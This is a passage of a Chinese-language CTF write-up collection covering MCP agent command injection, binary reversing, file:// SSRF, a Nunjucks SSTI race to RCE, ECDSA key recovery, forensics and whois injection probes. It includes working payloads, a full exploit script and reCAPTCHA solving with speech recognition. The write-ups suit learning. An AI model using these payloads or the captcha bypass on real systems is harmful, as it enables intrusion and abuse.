3
4
;cat<   -> 被擋
;sh<    -> 被擋
;head< ;tail< ;od< ;xxd< ;nl< ;tac< ;grep< ;awk< ;sed< ;dd< ;tr< ;sort< ;tee< ;more< ;less< ;strings< ;base64<
        -> 全部允許

只擋了 cat 跟 sh，flag 也沒擋。在 shell 攻擊面上用黑名單基本上不可能擋乾淨。用 head：

1
2
3
{ printf '2\n'; sleep 2;
  printf '%s\n' '{"mcpServers":{"m":{"command":"/app/mcp_memory","args":["--topic=x;head</flag"]}}}';
  printf 'EOF\n'; sleep 8; } | nc -w 15 160.30.99.189 31187

串起來就是 /bin/sh -c "/app/mcp_memory --topic=x ; head < /flag"：

1
2
3
4
5
[agent] MCP stdout:
{"jsonrpc":"2.0","result":{"serverInfo":{"name":"memory",...},"tools":[...]},"id":1}
memory[guest] topic=x: no saved memories
NHNC{N0_W4y_Y0u_pwn_m1ne_4gent_Y0r_are_th3_G0d_0f_4gent_S3curity_32000894d8f84282b718215efa300651}
[agent] MCP process exited with code 0

NHNC{N0_W4y_Y0u_pwn_m1ne_4gent_Y0r_are_th3_G0d_0f_4gent_S3curity_32000894d8f84282b718215efa300651}

Raymond

Flag Checkers

echo -n "NHNC{...}" | ./flag_checkers 檢查 flag。標準 flag checker，要逆回去。

1
2
file flag_checkers
rabin2 -S flag_checkers
1
2
3
4
5
6
flag_checkers: ELF 64-bit LSB executable, x86-64, statically linked, stripped

nx    false
section   vaddr       vsize  perm
.text     0x00401000  0x4f6  -r-x
.data     0x00402000  0x508  -rw-

.text 只有 0x4f6，整段反組譯讀完就好。nx = false 是伏筆，它在意頁面可執行，代表有自我修改程式碼。

1
objdump -d -M intel --start-address=0x401000 --stop-address=0x4014f6 flag_checkers

一開頭就一直看到這種東西：

1
2
3
4
5
6
7
push rax ; push rcx ; pushf
movabs rax, 0xd1b54a32d192ed03
imul   rax, rax, 0x27d4eb2f
ror    rax, 0x11
xor    rcx, rax
bswap  rcx
popf ; pop rcx ; pop rax

用到的暫存器全部還原了，什麼狀態都沒改。純垃圾，之後看到就跳過。

真正做事的部分：先 mmap 一塊 0x30000000 的 RWX + MAP_SHARED 記憶體，把 0x402038 起的 11 bytes 各 XOR 0x5a 解到 0x30001000，把 0x402020 起的 6 個 dword 各 XOR 0xa5a5a5a5 解到 0x30000040，然後 fork 兩次。

三個 process 靠 futex 輪流跑同一個狀態機，狀態全在那塊 shared memory：

1
2
3
4
5
6
7
8
mainloop:
  mov eax, [0x30000018]        ; done?
  test eax, eax
  jne  finish
  mov eax, [0x30000000]        ; turn
  cmp eax, [0x402510]          ; turn == 我的角色?
  je   my_turn
  ; 不是我 -> FUTEX_WAIT

看起來很嚇人，但任一時刻只有一個 process 在跑、狀態又全共享，功能上就是一段循序程式。純反除錯，重寫的時候完全可以無視。

「一步」函式的骨架，設 i = [0x30000004]：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
rbp = i / 15      ; 區塊編號
r15 = i % 15      ; sub-round 編號

if r15 == 0:      # 載入新區塊
  rax = bswap(qword [0x30000100 + rbp*8])
  rax ^= K
  L, H = low32(rax), high32(rax)

call A            # 一個 Feistel round

if r15 == 14:     # 區塊做完
  rax = (H << 32) | L
  K = rax                                   # CBC 鏈結
  qword [0x30000200 + rbp*8] = bswap(rax)

i 跑 0…254 共 255 步，255 = 17 × 15，所以 17 個區塊 × 15 round，每區塊 8 bytes，總共 136 bytes 輸出。區塊開頭 XOR 前一個密文、結尾把輸出當新的 K，這就是 CBC，IV 是 0x0f1e2d3c4b5a6978。

函式 A 去掉干擾就是標準 Feistel：

1
2
3
new_H = L
new_L = H XOR F(L XOR subkey_j)
subkey_j = T[j mod 6] XOR ((j+1) * 0x9e3779b9)

F 是解密到 0x30001000 的那 11 bytes。把 0x402038 的 a5 4e 7f 7a 5a 5a 6a 9b 9a 5a 99 XOR 0x5a 得到 ff 14 25 20 00 00 30 c1 c0 00 c3，反組譯：

1
2
3
call qword ds:0x30000020   ; ff 14 25 20 00 00 30
rol  eax, 0x00             ; c1 c0 00   <- 這個立即數會被 B 改寫
ret                        ; c3

而函式 B 每輪會設定這兩個參數：

1
2
3
4
edx = (j*7 + 3) % 31 + 1
[0x30001009] = dl               ; 改寫 rol 的旋轉量
eax = (j*3 + 1) & 3
[0x30000020] = [0x402000 + eax*8]   ; 選四張 S-box 之一

最後跟 0x402480 的 136 bytes 預期密文逐 byte 比對。

Feistel 可逆、CBC 可逆，不用爆破：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
import struct

M32 = 0xFFFFFFFF
data = open("flag_checkers", "rb").read()

def rd(vaddr, n):                       # file off 0x2000 <-> vaddr 0x402000
    off = 0x2000 + (vaddr - 0x402000)
    return data[off:off + n]

T = [x ^ 0xA5A5A5A5 for x in struct.unpack("<6I", rd(0x402020, 24))]
sboxes = [list(rd(0x402080 + i * 0x100, 256)) for i in range(4)]
expected = rd(0x402480, 0x88)
IV = 0x0F1E2D3C4B5A6978

def rol32(x, r):
    r &= 31
    return ((x << r) | (x >> (32 - r))) & M32

def sbox_subst(x, s):
    return s[x & 255] | s[(x >> 8) & 255] << 8 | s[(x >> 16) & 255] << 16 | s[(x >> 24) & 255] << 24

def subkey(j):
    return (T[j % 6] ^ (((j + 1) * 0x9E3779B9) & M32)) & M32

def F(j, x):
    return rol32(sbox_subst(x, sboxes[(j * 3 + 1) & 3]), (j * 7 + 3) % 31 + 1)

def feistel_dec(w):
    H, L = (w >> 32) & M32, w & M32
    for j in range(14, -1, -1):
        Lold = H
        Hold = L ^ F(j, (Lold ^ subkey(j)) & M32)
        H, L = Hold, Lold
    return (H << 32) | L

plain, prev = b"", IV
for b in range(17):
    C = struct.unpack(">Q", expected[b*8:b*8+8])[0]
    P = feistel_dec(C) ^ prev
    plain += struct.pack(">Q", P)
    prev = C

print(plain.rstrip(b"\x00").decode())

136 bytes 明文尾巴有 2 個 \x00（flag 只有 134 bytes，程式補零到 136），去掉就是答案。我在 macOS/ARM 上，用 Docker + QEMU 跑真的程式驗證：

1
echo -n "$FLAG" | docker run --rm -i --platform linux/amd64 -v "$PWD":/w -w /w debian:stable-slim ./flag_checkers
1
Correct

NHNC{2b06cc91a6d35aa24e886394ab574e1c4b4f9eed7ad6d7aca7a3228a39cf318f0a3c523a72263b0995f6417f3b5fd56443d482fbd9b430a578c4038a451028b9}

solarfish

#include

.iption 只有三行，但每一行都在指路：「Yet another PDF converter」、「flag in source code」，題目名稱是 #include。C 的 #include 是把本地檔案包進來，合起來就是「讓伺服器讀自己的原始碼」。

看前端 JS：

1
2
3
const response = await fetch('/convert', { method: 'POST', body });
...
if (!/^https?:\/\//i.test(url)) { ... }

http/https 檢查只在瀏覽器。直接 curl /convert 就能送 file://。

但 captcha 是真的。先確認不能繞：

1
2
3
4
5
6
B=http://txg.chal2.teagod.tech:8722
curl -s -X POST $B/convert --data-urlencode 'url=file:///etc/passwd'
curl -s -X POST $B/convert --data-urlencode 'url=http://example.com' \
     --data-urlencode 'g-recaptcha-response=dummy123'
curl -s -X POST $B/convert --data-urlencode 'url=http://example.com' \
     --data-urlencode 'g-recaptcha-response[]=x'

三個都回 captcha verification failed。假 token 會失敗，代表伺服器真的向 Google 驗證。沒有捷徑，只能在真瀏覽器解一次拿 token。

我走語音挑戰，因為互動次數比九宮格少很多。點耳機圖示，對話框裡有「download audio as MP3」的連結，抓下來丟 Whisper：

1
2
3
curl -s -A 'Mozilla/5.0' 'https://www.google.com/recaptcha/api2/payload/audio.mp3?p=...&k=...' -o a.mp3
ffmpeg -y -i a.mp3 -ar 16000 -ac 1 a.wav
whisper a.wav --model large-v3 --language en --fp16 False --temperature 0

音檔都是很短的英文句子（the system recognizes the error 之類），large-v3 轉得很準，小模型不行。填進去 Verify，然後 grecaptcha.getResponse() 讀 token，兩分鐘內用掉。

第一發不要亂猜檔名，先用一個保證存在的路徑證明 file:// 這個向量本身可行：

1
2
3
4
5
curl -s -X POST $B/convert \
     --data-urlencode 'url=file:///proc/self/cmdline' \
     --data-urlencode "g-recaptcha-response=$TOKEN" \
     -o cmdline.pdf -w "HTTP %{http_code}  size=%{size_download}\n"
file cmdline.pdf
1
2
HTTP 200  size=8213
cmdline.pdf: PDF document

回來的是 PDF 不是錯誤，file:// 可行。這也順便解釋了先前那些 HTTP 500 「conversion failed」，不是協議被擋，是檔案不存在。500 = 路徑錯，不是 500 = 被封。

接著讀 package.json 而不是猜 index.js/app.js，用 /proc/self/cwd/ 就不用知道絕對路徑：

1
2
3
4
curl -s -X POST $B/convert \
     --data-urlencode 'url=file:///proc/self/cwd/package.json' \
     --data-urlencode "g-recaptcha-response=$TOKEN" -o pkg.pdf
pdftotext -layout pkg.pdf -
1
2
3
4
5
6
7
8
{
    "name": "include",
    "scripts": { "start": "node server.js" },
    "dependencies": {
        "express": "^4.19.2",
        "html-pdf-node": "file:../lib/html-pdf-node"
    }
}

入口是 server.js。再解一個 captcha，讀它：

1
2
3
4
curl -s -X POST $B/convert \
     --data-urlencode 'url=file:///proc/self/cwd/server.js' \
     --data-urlencode "g-recaptcha-response=$TOKEN" -o server.pdf
pdftotext -layout server.pdf -

檔案最底部一段 ASCII art 註解裡：

1
2
3
// 🌒 .✦     ˚             .                        .          ✦       🚀     ˚          .
//             NHNC{Well_done!_stay_tuned_for_the_next_challenge.}
// ✦         .           ˚        *             .      .      ✦   ˚ ✦        ˚         .

順便從 server.js 看到根因，蠻好笑的，開發者有想到 file:// 濫用，但只擋目錄：

1
2
3
4
5
6
7
8
async function points_to_local_directory(input) {
    let url;
    try { url = new URL(input); } catch { return false; }
    if (url.protocol !== 'file:') return false;
    try {
        return (await fs.stat(file_url_to_path(url))).isDirectory();  // 只擋目錄
    } catch { return false; }
}

讀單一檔案完全放行。

NHNC{Well_done!_stay_tuned_for_the_next_challenge.}

Farewell, #include

上一題的續集。這次要 RCE 執行 /readflag，而且明文禁止 fuzzing 與暴力猜 URL，所以每個路徑都必須有來源。

instancer 要先過 22 bits 的 PoW：

1
2
3
4
5
6
7
8
9
10
11
12
python3 - <<'PY'
import hashlib
challenge = '把頁面中的 powChallenge 貼在這裡'
difficulty = 22
full, rest = difficulty // 8, difficulty % 8
nonce = 0
while True:
    digest = hashlib.sha256(f'{challenge}:{nonce}'.encode()).digest()
    if digest[:full] == b'\0' * full and (rest == 0 or digest[full] >> (8 - rest) == 0):
        print(nonce); break
    nonce += 1
PY

這次首頁多了 converter 選單：standard-pdf / lite-pdf / markdown-pdf。standard-pdf 就是上一題那條讀檔路徑，先拿它撈 package.json 跟 server.js。

server.js 三個重點。第一個是 run_percollate：

1
2
const args = ['pdf', '--no-sandbox', '--output', path.resolve(job.output_path), ...urls];
const child = spawn(process.execPath, [percollate_cli, ...args], { ... });

urls 是把使用者輸入用空白切開後直接接到 CLI 參數後面，argument injection。

第二個是 run_md_pdf，會把遠端 Markdown 抓下來寫成檔案再交給 mdpdf。

繼續往下讀套件原始碼。/app/lib/percollate/cli.js 的說明列出：

1
--template=<path>        Path to a custom HTML template.

而 /app/lib/percollate/index.js：

1
2
3
4
const html = nunjucks.renderString(
  await readFile(options.template || DEFAULT_TEMPLATE, 'utf8'),
  { filetype: 'pdf', title, author, date: new Date(), items, style, options: { ... } }
);

--template=<path> 會被 Nunjucks 在 Node 端渲染。所以只要能把可控檔案寫進伺服器檔案系統就有 SSTI。

那要寫到哪？/app/lib/mdpdf/dist/src/index.js 給了答案：

1
2
3
4
5
6
7
8
9
10
async function createPdf(html, options) {
  const tempHtmlPath = resolve(dirname(options.destination), '_temp.html');
  try {
    await writeFile(tempHtmlPath, html);
    ...
    await page.goto('file:' + tempHtmlPath, { waitUntil: options.waitUntil ?? 'networkidle0' });
  } finally {
    try { unlinkSync(tempHtmlPath); } catch (e) {}
  }
}

destination 在 /tmp/output/<uuid>.pdf，所以這個暫存檔的路徑是固定的 /tmp/output/_temp.html，只在 Chromium 載入頁面那段時間存在。是 race，但路徑固定所以不用猜。

先驗證整條鏈。payload 裡塞 {{ 7*7 }}，再加一張慢速圖片讓 mdpdf 停久一點：

1
2
printf '%s' '<h1>race</h1><pre>{{ 7*7 }}</pre><img src="https://httpstat.us/200?sleep=30000">' \
  | curl -s --data-binary @- 'https://paste.rs'
1
2
3
4
5
6
7
8
9
10
11
12
13
curl -s -X POST "$BASE/convert" \
  --data-urlencode 'converter=markdown-pdf' \
  --data-urlencode 'url=https://paste.rs/JJSNK' \
  -o md-race.pdf &

sleep 0.8

curl -s -X POST "$BASE/convert" \
  --data-urlencode 'converter=lite-pdf' \
  --data-urlencode 'url=--template=/tmp/output/_temp.html file:///proc/self/cwd/public/index.html' \
  -o race-result.pdf

pdftotext -layout race-result.pdf -
1
2
3
race

49

49，成功。接著換成真的 RCE。Node v20 的 ESM 環境不能靠 require，用 process.binding('spawn_sync')：

1
2
3
<h1>spawn</h1>
<pre>{{ items.constructor.constructor("const r=process.binding(\"spawn_sync\").spawn({file:\"/readflag\",args:[\"/readflag\"],cwd:\"/tmp\",envPairs:[],stdio:[{type:\"pipe\",readable:true,writable:false},{type:\"pipe\",readable:false,writable:true},{type:\"pipe\",readable:false,writable:true}]});return r.output[1].toString()+r.output[2].toString()")() }}</pre>
<img src="https://httpstat.us/200?sleep=30000">

跑同樣的 race：

1
2
3
spawn

Usage: /readflag give me the flag

原來還要參數。把 args 改成 ["/readflag","give","me","the","flag"] 再打一次：

1
2
3
flag

NHNC{Farewell, my friend, promise me you won't find another 0days next time._>>6e994b7b30354855b1e8ddc5ffe4cdd6}

NHNC{Farewell, my friend, promise me you won’t find another 0days next time._>>6e994b7b30354855b1e8ddc5ffe4cdd6}

UmmIt Kin

Kira-Notes

.iption 很嗆：

1
2
3
Please don't use AI to solve this question
Learn instead of letting the agent do it :(
What is the category? Once you play it, you will know.

類別不告訴你。但檔案是 places.sqlite 加上它的 -wal / -shm，places.sqlite 就是 Firefox 的瀏覽紀錄資料庫，所以答案已經寫在檔名上了。

join moz_historyvisits 跟 moz_places 重建時間軸（Firefox 的 visit_date 是微秒）：

1
2
3
4
5
sqlite3 places.sqlite \
"SELECT datetime(v.visit_date/1000000,'unixepoch') AS t, p.url
 FROM moz_historyvisits v
 JOIN moz_places p ON v.place_id = p.id
 ORDER BY v.visit_date;"

一堆 youtube/github 雜訊之後，結尾很有東西：

1
2
3
4
5
6
2026-07-03 05:56:28  https://proton.me/
2026-07-03 06:43:25  https://drive.proton.me/urls/00MNVW0SHG#do4wWWpAQ0Lw
2026-07-03 17:54:10  http://151.158.224.74:31337/
2026-07-03 17:54:34  http://151.158.224.74:31337/wtfbro
2026-07-03 17:54:44  http://151.158.224.74:31337/dl/eyeswap.bin
2026-07-03 17:54:58  http://151.158.224.74:31337/dl/notebook-crack.tgz

兩條線索。那個 Proton Drive 分享的標題查出來正是 Kira-Notes，跟題目同名。

先花 30 秒排查那台 web server：Astro 做的靜態「復古 warez」站，下載清單每個檔都標 [offline]/[broken]/[fake]，歷史裡的 /wtfbro、/dl/* 全部 404，頁面留的 email 是 slmails.com（SimpleLogin 的轉寄別名，不是收件匣）。幌子，不用管。

Proton 分享（# 後面那段是前端解密金鑰，所以網址本身就完整可用）裡有三個檔案：

檔案 大小
noth*****.png 1.45 MB
of.img 500 MB
Some Backup 01.png 125 KB

500 MB 的磁碟映像，類別到這裡就水落石出了，Forensics。

兩張 PNG 先看：Some Backup 01.png 是那個復古網站的截圖（又是幌子），noth*****.png 是一張撕掉一角的紙條照片，手寫著 0x0Kira…，右邊被撕掉所以不完整。先記著。

of.img 是 GPT（ID=0xee 保護性 MBR）。解析 GPT 拿分割區偏移：

1
2
3
4
5
6
7
8
9
10
11
12
import struct
f = open('of.img','rb'); f.seek(512); hdr = f.read(512)
part_lba = struct.unpack('<Q', hdr[72:80])[0]
num      = struct.unpack('<I', hdr[80:84])[0]
size     = struct.unpack('<I', hdr[84:88])[0]
f.seek(part_lba*512)
for i in range(num):
    e = f.read(size)
    if e[:16] == b'\x00'*16: continue
    first = struct.unpack('<Q', e[32:40])[0]
    name  = e[56:128].decode('utf-16-le').rstrip('\x00')
    print(f"part{i}: first_LBA={first} byte_offset={first*512} name={name!r}")
1
part0: first_LBA=2048 byte_offset=1048576 name='primary'
1
2
3
dd if=of.img of=part0.img bs=512 skip=2048 count=1019904
file part0.img          # Linux rev 1.0 ext4 filesystem data ... volume name "CASE"
fls -r -p part0.img
1
2
3
4
5
6
7
8
9
10
home/ctf/Downloads/I
home/ctf/Downloads/will
home/ctf/Downloads/not
home/ctf/Downloads/let
home/ctf/Downloads/you
home/ctf/Downloads/see
home/ctf/Downloads/it
$OrphanFiles/OrphanFile-64779
$OrphanFiles/OrphanFile-64780
$OrphanFiles/OrphanFile-64781

檔名連起來是 “I will not let you see it”，全是空的餌檔。但有 orphan inode，代表真東西被刪了。掃一下字串：

1
strings -n 6 part0.img | grep -iE 'flag|\.zip|\.pdf|\.png' | sort -u
1
2
3
4
5
2026-07-04_00-57-29.png
final.zip
flag.txt
Message.pdf
wtf.png

istat 顯示那些 orphan inode 的 size: 0，metadata 被清光了，所以 icat 救不回來。但資料本體還在磁碟上，改用 magic bytes carving：

1
2
3
4
5
6
7
8
9
10
11
12
13
import re
data = open('part0.img','rb').read()

start = data.find(b'PK\x03\x04')
eocd  = data.find(b'PK\x05\x06')
open('carved.zip','wb').write(data[start:eocd+22])

for i, off in enumerate(m.start() for m in re.finditer(b'\x89PNG\r\n\x1a\n', data)):
    end = data.find(b'IEND\xaeB`\x82', off) + 8
    open(f'img_{i}.png','wb').write(data[off:end])
for i, off in enumerate(m.start() for m in re.finditer(b'%PDF-', data)):
    end = data.rfind(b'%%EOF', off, off+2_000_000) + 5
    open(f'msg_{i}.pdf','wb').write(data[off:end])

三個都救回來了：

  • carved.zip 裡有 flag.txt（55 bytes），compress_type 99 ＝ WinZip AES-256，要密碼。
  • msg_0.pdf 是 Kira 的嘲諷：「You already have everything you need. If you cannot pull it out, then you are not built for this.」，意思是密碼就在救回的檔案裡。
  • img_*.png 兩張都顯示同一張紙條，但這次沒被撕掉：完整是 0x0Kira1337。

unzip 不支援 AES，用 7z。然後這裡卡了一下，紙條上明明是大寫 K，但那個密碼被拒絕：

1
2
3
4
for p in '0x0Kira1337' '0x0kira1337' 'OxOKira1337' '0X0Kira1337'; do
  echo "== $p =="
  7z x -y -p"$p" carved.zip -so 2>&1 | tail -1
done
1
2
== 0x0Kira1337 ==   ERROR: Wrong password
== 0x0kira1337 ==   NHNC{n0w_y0u_kn0w_h0w_t0_f0r3ns1c_0x00000Easyyyyyyyyy}

小寫 k 才對。

NHNC{n0w_y0u_kn0w_h0w_t0_f0r3ns1c_0x00000Easyyyyyyyyy}

whale120

Talking to the Sun

Flask 原始碼給了，先找 flag 從哪出來：

1
2
3
4
5
6
7
8
9
10
def verify_token(token: str) -> dict:
    try:
        account, message, r, s = unpack_token(token)
    except Exception:
        return {"ok": False, "message": "Token format was not accepted."}
    if not verify_parts(account, message, r, s):
        return {"ok": False, "message": "Signature check failed."}
    if account == ADMIN_ACCOUNT:                       # whale@whale-tw.com
        return {"ok": True, "message": message, "flag": os.environ.get("FLAG", DEFAULT_FLAG)}
    return {"ok": True, "message": message}

verify_parts 是教科書級、完全正確的 ECDSA（BrainpoolP512r1）。沒有邏輯漏洞可鑽，所以只能還原私鑰 d。

簽章那邊：

1
2
3
4
5
6
7
8
def sign_parts(message, account):
    z = message_hash(account, message)
    while True:
        k = nonce_for_account(account)
        r = (k * GENERATOR).x() % ORDER
        if not r: continue
        s = (inverse_mod(k, ORDER) * (z + r * SIGNING_SCALAR)) % ORDER
        if s: return r, s

d 是全域共用的。而 nonce：

1
2
3
4
5
6
7
8
9
NONCE_TAIL_BYTES = 16

def nonce_for_account(account: str) -> int:
    prefix = hashlib.sha384(NONCE_SALT + account.encode("utf-8")).digest()  # 384 bits，固定
    while True:
        raw = prefix + os.urandom(NONCE_TAIL_BYTES)                         # + 128 bits 隨機
        value = int.from_bytes(raw, "big") % ORDER
        if value:
            return value

高 384 bits 對固定帳號字串是固定的，只有低 128 bits 隨機。/api/info 甚至還公開 "nonce_tail_bits": 128。

1
k = P · 2¹²⁸ + t    （P 固定未知 384 bits，0 ≤ t < 2¹²⁸）

這是標準的 shared-prefix biased nonce，只要湊到幾個共用同一個 P 的簽章就能用 HNP + LLL 還原 d。問題是 app 每個帳號只給一個簽章，而不同帳號字串會有不同的 P。所以整題卡在：能不能讓兩次不同的註冊產生同一個帳號字串下的簽章？

答案在帳號處理：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
MAX_ACCOUNT_CHARS    = 0x9999     # 39321
STORED_ACCOUNT_CHARS = 0x10000    # 65536

def check_account(value):
    account = (value or "").strip()
    if not account or len(account) >= MAX_ACCOUNT_CHARS:   # 對「原始」字串檢查長度
        return False, ""
    if ACCOUNT_RE.fullmatch(account) is None:
        return False, ""
    return True, account.lower()                           # 回傳「小寫化後」的

def stored_account(account):
    return account[:STORED_ACCOUNT_CHARS]                  # 對小寫後的截斷

def account_fingerprint(account):
    return hashlib.sha256(account.encode("utf-8")).hexdigest()   # 唯一性用完整小寫字串

長度檢查在 .lower() 之前（上限 39321），儲存截斷在 .lower() 之後（65536）。39321 < 65536，所以看起來截斷永遠不會發生……除非 .lower() 會讓字串變長。

而它真的會：

1
2
>>> 'İ'.lower()
'i̇'                 # 'i'(U+0069) + U+0307，長度變 2

而且 regex 的網域部分 .+\..+ 匹配任何字元，İ 可以合法出現在 email 網域裡。

1
2
3
4
5
6
7
8
n_i = 32800
A = "a@" + "İ"*n_i + ".x";  B = "a@" + "İ"*n_i + ".y"
assert len(A) < 0x9999                                   # 33004，過長度檢查
la, lb = A.lower(), B.lower()
assert len(la) > 0x10000                                 # 65604，膨脹過頭
assert la[:0x10000] == lb[:0x10000]                      # stored account 完全相同
import hashlib
assert hashlib.sha256(la.encode()).hexdigest() != hashlib.sha256(lb.encode()).hexdigest()

指紋不同（兩次註冊都會過），stored account 完全相同（同前綴、同 message）。要幾個簽章就有幾個。

數學的部分：s_i·k_i = z + r_i·d 得 k_i = s_i⁻¹z + s_i⁻¹r_i·d (mod n)。因為每個 k_i 都共用 P·2¹²⁸，減掉第 0 個就把大未知數消掉了：

1
2
(s_i⁻¹r_i − s_0⁻¹r_0)·d + (s_i⁻¹z − s_0⁻¹z) ≡ (t_i − t_0)   (mod n)
      └──── A_i ────┘        └───── B_i ─────┘       └ < 2¹²⁸ ┘

標準 HNP，建格丟 LLL。每次相減洩漏 512 − 128 = 384 bits，5～7 個簽章就夠。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
#!/usr/bin/env python3
import sys, base64, json, hashlib, secrets, time
from fractions import Fraction as Fr
import requests
from ecdsa.curves import BRAINPOOLP512r1
from ecdsa.numbertheory import inverse_mod

BASE = sys.argv[1].rstrip("/") if len(sys.argv) > 1 else "http://127.0.0.1:5055"
NSIG = int(sys.argv[2]) if len(sys.argv) > 2 else 6

G  = BRAINPOOLP512r1.generator
N  = G.order()
OB = (N.bit_length() + 7) // 8
W  = 1 << 128
ADMIN = "whale@whale-tw.com"

def b64u(b): return base64.urlsafe_b64encode(b).rstrip(b"=").decode()
def b64u_dec(v):
    v += "=" * (-len(v) % 4); return base64.urlsafe_b64decode(v.encode())
def canonical(a, m):
    return json.dumps({"account": a, "message": m}, ensure_ascii=False,
                      sort_keys=True, separators=(",", ":"))
def zhash(a, m):
    return int.from_bytes(hashlib.sha512(canonical(a, m).encode()).digest(), "big")
def unpack(tok):
    p = tok.split("."); j = json.loads(b64u_dec(p[1])); sig = b64u_dec(p[2])
    return j["account"], j["message"], int.from_bytes(sig[:OB], "big"), int.from_bytes(sig[OB:], "big")

# 精確 Fraction 版 LLL，不用外部格函式庫
def lll(B, delta=Fr(99, 100)):
    B = [list(map(int, r)) for r in B]; n = len(B); dc = len(B[0])
    def dot(u, v): return sum(a*b for a, b in zip(u, v))
    Bs = [[Fr(0)]*dc for _ in range(n)]; mu = [[Fr(0)]*n for _ in range(n)]; nrm = [Fr(0)]*n
    def gso():
        for i in range(n):
            bi = [Fr(x) for x in B[i]]
            for j in range(i):
                mu[i][j] = dot(B[i], Bs[j]) / nrm[j] if nrm[j] else Fr(0)
                bi = [a - mu[i][j]*b for a, b in zip(bi, Bs[j])]
            Bs[i] = bi; nrm[i] = dot(bi, bi)
    gso(); k = 1
    while k < n:
        for j in range(k-1, -1, -1):
            q = round(mu[k][j])
            if q:
                B[k] = [a - q*b for a, b in zip(B[k], B[j])]
                mu[k][j] -= q
                for l in range(j): mu[k][l] -= q*mu[j][l]
        if nrm[k] >= (delta - mu[k][k-1]**2) * nrm[k-1]:
            k += 1
        else:
            B[k], B[k-1] = B[k-1], B[k]; gso(); k = max(k-1, 1)
    return B

def _post(sess, path, retries=4, **kw):
    for a in range(retries):
        try: return sess.post(BASE + path, timeout=90, **kw)
        except Exception:
            if a == retries-1: raise
            time.sleep(1.5)

def collect(n_needed):
    n_i = 32800                                     # 'İ'*32800 -> lower 後 65604 > 0x10000
    pre = "a@" + "İ" * n_i + "."
    sfx = "xyzabcdefghijklmnopqrstuvw0123456789"[:n_needed]
    out = []
    for ch in sfx:                                  # 循序：單一 worker + SQLite 鎖
        s = requests.Session(); email = pre + ch; pw = "password123"
        _post(s, "/register", data={"email": email, "password": pw})
        _post(s, "/login",    data={"email": email, "password": pw})
        r = _post(s, "/api/generate", json={"time":2,"motion":2,"place":2,"seat":2})
        acc, msg, rv, sv = unpack(r.json()["token"])
        out.append((rv, sv, zhash(acc, msg)))
        print(f"    sig {len(out)}/{n_needed}", flush=True)
    return out

def recover(sigs):
    r0, s0, z0 = sigs[0]; m = len(sigs) - 1
    i0r = inverse_mod(s0, N) * r0 % N; i0z = z0 * inverse_mod(s0, N) % N
    tp = []; up = []
    for i in range(1, len(sigs)):
        ri, si, zi = sigs[i]; isi = inverse_mod(si, N)
        tp.append((isi*ri - i0r) % N)
        up.append((zi*isi - i0z + W) % N)
    Bb = 2*W; dim = m + 2
    M = [[0]*dim for _ in range(dim)]
    for i in range(m): M[i][i] = N*N
    for i in range(m): M[m][i]   = N*tp[i]
    M[m][m] = Bb
    for i in range(m): M[m+1][i] = N*up[i]
    M[m+1][m+1] = N*Bb
    R = lll(M)
    cands = set()
    for row in R:
        if row[m] % Bb == 0:
            cands.add((row[m]//Bb) % N); cands.add(((-row[m])//Bb) % N)
    for d in cands:
        if d and _shares_prefix(d, sigs): return d
    return None

def _shares_prefix(d, sigs):
    highs = {inverse_mod(si, N)*(zi + ri*d) % N >> 128 for ri, si, zi in sigs}
    return len(highs) == 1

def forge(d, message="sunrise"):
    z = zhash(ADMIN, message)
    while True:
        k = secrets.randbelow(N-1) + 1
        r = (k*G).x() % N
        if not r: continue
        s = inverse_mod(k, N)*(z + r*d) % N
        if s: break
    payload = canonical(ADMIN, message).encode()
    return "singen." + b64u(payload) + "." + b64u(r.to_bytes(OB, "big") + s.to_bytes(OB, "big"))

if __name__ == "__main__":
    sigs = collect(NSIG)
    d = recover(sigs)
    if d is None: print("[!] key recovery FAILED"); sys.exit(1)
    print(f"[+] d = {hex(d)}")
    r = requests.post(BASE + "/api/verify", json={"token": forge(d)}, timeout=30)
    print("[*] /api/verify ->", r.status_code, json.dumps(r.json(), ensure_ascii=False))

本機先跑，還把還原出的 d 跟本地存的真祕密對過：

1
python3 -c "import json;print(json.load(open('data/state.json'))['signing_scalar'])"

一模一樣，代表這攻擊是決定性的不是運氣。

線上有兩個實務上的坑要注意：伺服器是單一 gunicorn worker + SQLite，並行註冊會撞鎖逾時，所以腳本刻意循序跑加重試；而且每次註冊要上傳約 65 KB 的 email，register 跟 login 各跑一次 200k 迭代的 PBKDF2，蒐集 6 個簽章要 60～90 秒。instance 只活 5 分鐘，還好夠。

1
2
3
4
    sig 6/6
[+] collected in 82.6s; running LLL ...
[+] LLL 11.9s -> d = 0x55d8992fa9e96ade...
[*] /api/verify -> 200 {"flag": "NHNC{its_always_a_good_time_(_to_play_with_python_lower_)}", ...}

flag 裡的 “play with python lower” 完全對上。

NHNC{its_always_a_good_time_(to_play_with_python_lower)}

夜有夢

Who is Whois？

這題是整場我最喜歡的一題，四個獨立問題串成一條鏈。

instance 開起來之後，首頁是「Whois Gallery」，三個攻擊面：POST /api/whois（domain=）、GET /render?tpl=，還有頁面明講的「重複查詢可能由 Redis 快取提供」。/render?tpl=about 直接寫出目標：在伺服器上執行根目錄的 /flag。

先戳 render：

1
2
3
for t in index nonexistent ../../etc/passwd flag; do
  echo "== $t =="; curl -s "$B/render" --get --data-urlencode "tpl=$t"
done
1
2
3
template not found: /app/tpl/nonexistent.tpl
template not found: /app/tpl/../../etc/passwd.tpl
template not found: /app/tpl/flag.tpl

錯誤訊息把路徑洩光了：/app/tpl/<tpl>.tpl。強制加的 .tpl 後綴擋掉直接讀 /flag（Python 沒有 null byte 截斷），但我們知道了應用在 /app。先記著，最後會繞回來。

再戳 whois：

1
2
3
for p in 'example.com;id' 'example.com|id' 'example.com`id`' '$(id)' 'a && /flag'; do
  echo "== $p =="; curl -s -X POST "$B/api/whois" --data-urlencode "domain=$p"
done
1
2
3
4
5
